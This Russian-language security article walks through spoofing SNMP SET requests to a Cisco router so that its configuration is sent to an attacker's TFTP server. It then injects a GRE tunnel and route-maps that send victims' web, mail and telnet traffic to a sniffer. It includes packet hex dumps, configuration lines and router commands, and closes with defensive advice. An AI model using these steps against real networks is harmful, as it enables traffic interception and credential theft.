Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса, запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.
Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.
Сценарий атаки
Взгляните на пример сценария атаки, показанный на Рисунке 1.
Рисунок 1. Пример сценария атаки.
Current configuration : 1206 bytes
!
version 12.3
!
hostname Victim
!
enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0
!
interface Ethernet0/0
ip address dhcp
ip nat outside
half-duplex
!
interface Ethernet0/1
ip address 192.168.1.1 255.255.255.0
ip nat inside
half-duplex
!
router rip
network 192.168.1.0
!
ip nat inside source list 102 interface Ethernet0/0 overload
no ip http server
ip classless
!
access-list 1 permit 192.168.1.0 0.0.0.255
access-list 102 permit ip any any
!
snmp-server community public RO
snmp-server community private RW 1
snmp-server enable traps tty
!
line con 0
logging synchronous
login
line aux 0
line vty 0 4
password secret
login
!
!
end
Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).
Можно выделить два основных этапа атаки:
1. Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
2. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).
Теория
Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.
Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 – 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.
Обход правил доступа SNMP
Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета.
root@whax# ./copy-router-config.pl
######################################################
# Copy Cisco Router config - Using SNMP
# Hacked up by muts - muts@whitehat.co.il
#######################################################
Usage : ./cisco-copy-config.pl
Make sure a TFTP server is set up, preferably running from /tmp !
root@whax#
После выполнения скрипта будет перехвачен SNMP пакет, подобный тому, что показан на Рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.
Рисунок 2. Перехваченный SNMP пакет.
Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на Рисунке 3.
Рисунок 3. Изменение обратного IP адреса пакета.
Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):
root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@.@.5....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 ......x@.P.L.0'. 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 root@whax:~#
После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4
Рисунок 4. Соединение с TFTP сервером, перехваченное Ethereal.
Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.
GRE туннель
GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.
Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:
* Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера.
* Определить, какой трафик будет проходить через туннель.
* Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.
Атакуемый маршрутизатор
Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора:
interface tunnel0
ip address 192.168.10.1 255.255.255.0
tunnel source Ethernet0/0
tunnel destination
tunnel mode gre ip
Они означают следующее:
* Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети.
* Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
* Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера.
* Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).
Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.
Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:
access-list 101 permit tcp any any eq 443
access-list 101 permit tcp any any eq 80
access-list 101 permit tcp any any eq 21
access-list 101 permit tcp any any eq 20
access-list 101 permit tcp any any eq 23
access-list 101 permit tcp any any eq 25
access-list 101 permit tcp any any eq 110
Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.
Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:
router-map divert-traffic
match ip address 101
set ip next-hop 192.168.10.2
interface Ethernet0/0
ip policy route-map divert-traffic
Эта запись несет в себе следующий смысл:
* Мы определили имя карты маршрутизации (divert-traffic) и затем использовали команду ‘match’, чтобы указать, что в качестве условия соответствия нужно использовать набор правил доступа 101 (access-list).
* В качестве next-hop адреса мы указали IP адрес атакующего.
* Мы применили карту маршрутизации к внешнему LAN-интерфейсу атакуемой машины. Результатом этого будет слежение за всем входящим и исходящим трафиком Ethernet0/0.
Маршрутизатор хакера
Конфигурация маршрутизатора атакующего чуть сложнее, так как мы должны определить две карты маршрутизации – одну для переправления трафика на компьютер атакующего (sniffer), и другую для отправки трафика обратно на атакуемый маршрутизатор. Очень важно, чтобы мы отправляли туннелированные данные назад на атакуемый маршрутизатор, чтобы атакуемый компьютер (Victim Client) не потерял соединение.
Начнем с создания GRE туннеля на маршрутизаторе атакующего:
Attacker(config)# interface tunnel0
Attacker(config-if)# ip address 192.168.10.2 255.255.255.0
Attacker(config-if)# tunnel source Ethernet0/0
Attacker(config-if)# tunnel destination
Attacker(config-if)# tunnel mode gre ip
Attacker(config)# access-list 101 permit ip any any
Attacker(config)# router-map divert-to-sniffer
Attacker(config-route-map)# match ip address 101
Attacker(config-route-map)# set ip next-hop 192.168.3.5
Attacker(config-route-map)# exit
Attacker(config)# interface tunnel0
Attacker(config-if)# ip policy route-map divert-to-sniffer
Эти правила означают следующее:
* Мы создали правило доступа, разрешающее все типы трафика.
* Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер).
* Созданное правило доступа используется в качестве условия соответствия.
* В качестве next-hop адреса мы указали IP адрес атакующего (sniffer).
* Мы применили карту маршрутизации к интерфейсу tunnel0.
Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.
Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:
Attacker(config-if)# route-map divert-out
Attacker(config-route-map)# match ip address 101
Attacker(config-route-map)# set ip next-hop 192.168.10.1
Attacker(config-route-map)# exit
Attacker(config)# interface ethernet0/0
Attacker(config-if)# ip policy route-map divert-out
Эти дополнительные настройки означают следующее:
* После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор.
* Мы применили карту маршрутизации к Ethernet интерфейсу.
Атакующий (sniffer)
По завершению конфигурирования маршрутизаторов нам нужно настроить компьютер атакующего (sniffer) для перехвата и перенаправления данных. Важно, чтобы компьютер был сконфигурирован на обратное перенаправление пакетов. Для этого можно использовать одну из следующих команд:
root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward
или
root@whax:~# fragrouter -B1
Без перенаправления наша атака вызовет отказ от обслуживания (DoS) на атакуемом компьютер и соответственно потеряет смысл.
Начинаем атаку
После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).
Нам нужно создать поддельный SNMP SET запрос, в результате которого маршрутизатор загрузит новый конфигурационный файл и добавит его к текущей конфигурации. Для того чтобы получить базовый пакет мы снова отправим обычный запрос:
root@whax# ./merge-router-config.pl
######################################################
# Merge Cisco Router config - Using SNMP
# Hacked up by muts - muts@whitehat.co.il
#######################################################
Usage : ./merge-copy-config.pl
Make sure a TFTP server is set up, prefferably running from /tmp !
root@whax#
Перехватим этот пакет и изменим обратный IP адрес и некоторые другие поля заголовка пакета, как показано на Рисунке 5.
Рисунок 5. Изменение заголовка пакета.
После отправки модифицированного пакета, будет создано TFTP соединения с нашим компьютером (Рисунок 6).
Рисунок 6. Соединение с TFTP сервером атакующего.
Обратите внимание на TFTP запрос на чтение (пакет №2). Пакет обходит правила доступа SNMP, вследствие чего происходит загрузка и добавление к текущей конфигурации нового модифицированного конфигурационного файла. Отладочная информация атакуемого маршрутизатора дает много интересного о ходе атаки:
*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0
ccCopyTable.1.2.12285992 = 1
ccCopyTable.1.3.12285992 = 4
ccCopyTable.1.4.12285992 = 1
ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server)
ccCopyTable.1.6.12285992 = pwnd-router.config
ccCopyTable.1.14.12285992 = 4
*Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0
ccCopyTable.1.2.12285992 = 1
ccCopyTable.1.3.12285992 = 4
ccCopyTable.1.4.12285992 = 1
ccCopyTable.1.5.12285992 = 80.179.76.227 (the address of the TFTP server)
ccCopyTable.1.6.12285992 = pwnd-router.config
ccCopyTable.1.14.12285992 = 4
*Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.5
Заметьте, что адрес TFTP сервера отличается от IP адреса атакующего и передается отдельным параметром. Теперь туннель открыт, готов к работе и может быть представлен в виде диаграммы на Рисунке 7.
Рисунок 7. GRE туннель.
Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:
Attacker# debug tunnel
*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242
->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55
-> 212.199.145.242, tos=0x0
*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242
->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)
*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55
-> 212.199.145.242, tos=0x0g all
Предположим, атакованный компьютер произвел поиск выражения “GRE Sniffing” в Google, как показано на Рисунке 8.
Рисунок 8. Жертва ищет информацию о GRE туннелях.
В результате этих действий, Ethereal на компьютере атакующего получит пакеты, показанные на Рисунке 9.
Рисунок 9. Сниффер показывает запрос в Google на поиск информации о GRE туннелях.
Кроме использования специализированного сниффера (такого как dsniff) для перехвата паролей, передаваемых открытым текстом, мы можем осуществить сложные атаки класса ‘человек посередине – man-in-the-middle’ на компьютер жертвы. Ettercap – хорошая утилита, позволяющая, кроме перехвата разных типов паролей, организовать атаку ‘человек посередине’ на шифруемые протоколы SSL и SSH. С помощью фильтров Ettercap можно управлять проходящим трафиком и изменять его. Возможности практически бесконечны.
Заключение
Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.
В описанном примере, дополнительного правило доступа, явно определяющего адрес TFTP сервера (находящегося на атакованном нами маршрутизаторе) хватило бы, чтобы сорвать атаку.
Скептики могут спросить “Как атакующий узнал о правилах доступа / имени SNMP группы RW?”. Эта информация может быть получена перебором, причем не только имена групп, но и разрешенные IP адреса, и такая утилита уже существует.
Целью статьи было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco небезопасно. Грамотная конфигурация должна свести на минимум шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций оборудования Cisco.
Авторы: Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок
Источник: securitylab.ru